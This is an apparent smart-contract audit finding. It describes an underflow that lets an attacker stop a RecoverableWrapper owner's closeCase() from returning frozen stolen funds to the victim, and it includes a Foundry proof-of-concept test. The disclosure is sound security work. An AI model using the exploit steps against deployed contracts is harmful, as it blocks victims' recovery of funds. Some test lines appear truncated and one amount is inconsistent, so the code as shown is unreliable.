Attacker uses underflow to prevent `closeCase()` from transferring stolen funds to victim

[leopashov]

Cantina Finding: # 366
Severity: Medium

Summary

The RecoverableWrapper gives the InterchainTEL owner the ability to freeze iTEL within a recovery window if they suspect the funds are fraudulent or stolen. If they come to the conclusion that frozen funds are indeed stolen, they can call closeCase() and send the funds from the attacker to the victim.

An attacker can create a state where if the iTEL owner tries to call closeCase() and send the stolen funds back to the victim, the call will always revert due to an underflow preventing the victim from receiving their funds.

Finding Description

Let's say an attacker hacks a victim's wallet and wraps wTEL to iTEL, preparing to bridge the stolen funds to a new chain.

The iTEL owner suspects the funds are stolen so they call freeze() on the amount the attacker just wrapped.

After investigating, they confirm the funds are stolen, so they call closeCase(), attempting to send the funds back to the victim's address. The call reverts due to an underflow caused by a state the attacker strategically created in the contract.

Here's how that state was created and where the underflow occurs:

When freeze() is called on a record that hasn't been cached, the cachedUnsettledFrozen amount will remain 0.

While the attackers frozen record is still unsettled, the attacker calls wrap 2 more times with 1 wei as the amount to increase the length of their linked list. The purpose of doing so is so the next on the frozen record is non-zero (important precondition for the code below).

Once the recovery window on the frozen record ends, the next time _clean() is called, it will settle the record, update the cacheIndex to the settled record, and then run the following flawed logic (flaws explained in code comments below):

function _clean(address account) internal virtual {
...SNIP...
        }
        // First we get the frozen record that was just settled at index 1
        r = _unsettledRecords[account].getAt(cacheIndex);
        
        // The head is now 2, since we incremented it when we settled the record in dequeue().
        uint256 head = _unsettledRecords[account].head;
       
        for (i; i < MAX_TO_CLEAN; i++) {
        
            // Since next on the frozen record is 2, we don't break here.
            if (r.next == 0) {
                break;
            }
            
            // Since 1 < 2, the cacheIndex get's update to the value of the head (i.e 2)
            cacheIndex = cacheIndex < head ? head : r.next;
            
            // The problem is that now we get the wrong record! Record 2 is the record that 
            // came after the frozen record, where `r.amount` is 1 and `r.frozen` is 0.  Now 
            // unsettledFrozen never get's increased by the amount that was frozen. This sets
            // up the state needed for the underflow.
            r = _unsettledRecords[account].getAt(cacheIndex);
            unsettled += r.amount;
            unsettledFrozen += r.frozen;
        }

        _accountState[account].cachedUnsettled = unsettled;
        _unsettledRecords[account].cacheIndex = _unsettledRecords[account].isEmpty() ? 0 : cacheIndex;
        _accountState[account].cachedUnsettledFrozen = unsettledFrozen;
    }

Now since cachedUnsettledFrozen never gets increased by the frozen amount and the index of the record is now <= to the cacheIndex, the follow code in closeCase() reverts due to an underflow:

function closeCase(
    bool recover,
    address victim,
    Suspension[] memory freezes
)
    external
    virtual
    onlyOwner
    returns (bool)
{
    for (uint256 i = 0; i < freezes.length; i++) {
        ...SNIP...
        // @audit this reverts (e.g. 0 - amount)
@>      if (rawIndex <= _unsettledRecords[account].cacheIndex) {
@>          _accountState[account].cachedUnsettledFrozen -= amount;
        }
    
...SNIP...
}

All the attacker needs to do now is make sure their cacheIndex is greater than or equal to 1 to continue bricking the closeCase() call. This is easy to do by simple transferring small amounts of iTEL from another address, ensuring there's always a few cached unsettled records in the linked list each time _clean runs to avoid the cacheIndex being reset to 0.

Proof of Concept

Create a new .t.sol file under tn-contracts/test/ITS, paste the following code, and then run forge test --mt test_brickCloseCasePreventingVictimFromReceivingFunds -vv

// SPDX-License-Identifier: MIT or Apache-2.0
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import {Suspension} from "../../src/recoverable-wrapper/RecordUtil.sol";
import {RecoverableWrapper} from "../../src/recoverable-wrapper/RecoverableWrapper.sol";
import {WTEL} from "../../src/WTEL.sol";

contract AttackerBricksCloseCaseTest is Test {
    RecoverableWrapper recoverableWrapper;
    WTEL wTEL;
    address public owner = makeAddr("owner");
    address public attacker = makeAddr("attacker");
    address public victim = makeAddr("victim");

    function setUp() public {
        vm.startPrank(owner);
        wTEL = new WTEL();
        recoverableWrapper = new RecoverableWrapper(
            "test",
            "test",
            600, // 10 minutes
            owner,
            address(wTEL),
            300
        );
        vm.stopPrank();

        deal(address(wTEL), attacker, 1000e18); 
    }

    function test_brickCloseCasePreventingVictimFromReceivingFunds() public {

        // Setup
        vm.prank(attacker);
        wTEL.approve(address(recoverableWrapper), 1000e18);
        vm.warp(100);

        // Attacker wraps stolen funds so they can bridge them to another chain. 
        vm.prank(attacker);
        recoverableWrapper.wrap(100e18);
        
        // The iTEL owner thinks the funds in record 1 may be stolen so they freeze them to investigate. The 
        // cacheIndex is 0 and the rawIndex is 1, so cachedUnsettledFrozen is not incremented and remains 0.
        vm.startPrank(owner);
        Suspension memory suspension = Suspension({
            account: attacker,
            rawIndex: 1,
            amount: 100e18
        });
        Suspension ;
        suspensions[0] = suspension;
        recoverableWrapper.freeze(suspensions);
        vm.stopPrank();
        
        // After the initial stolen amount, they send two more wrap transactions with dust amounts. Their linked list
        // contains 3 unsettled records at this point. 
        vm.startPrank(attacker);
        skip(10);
        recoverableWrapper.wrap(1);
        skip(10);
        recoverableWrapper.wrap(1);
        skip(10);
        vm.stopPrank();
        
        // Enough time passes to settle records 1 and 2, so the attacker call wrap again with a dust amount,
        // so that _clean() runs and settles those records. The attackers cacheIndex is now 2 and the record index of the frozen funds is 1, creating the conditions needed to cause the underflow and brick closeCase().
        skip(580); 
        vm.startPrank(attacker);
        recoverableWrapper.wrap(1);        
        vm.stopPrank();

        // The investigation concludes and the owner trys to close the case and send the stolen funds back to the victim's wallet, but the call reverts due to an underflow.
        vm.startPrank(owner);
        Suspension memory closeCaseSuspension = Suspension({
            account: attacker,
            rawIndex: 1,
            amount: .100e18
        });
        Suspension ;
        closeCaseSuspensions[0] = closeCaseSuspension;
        vm.expectRevert();
        recoverableWrapper.closeCase(true, victim, closeCaseSuspensions);
        vm.stopPrank();

        // The attacker now only need to keep their own cacheIndex greater than or equal to 1 to
        // continue bricking the closeCase call. This is easy to do by simple transfering small 
        // amounts of iTEL from another address.
    }
}

Recommendation

In _clean, make sure the correct record is selected so cachedUnsettledFrozen is increased properly.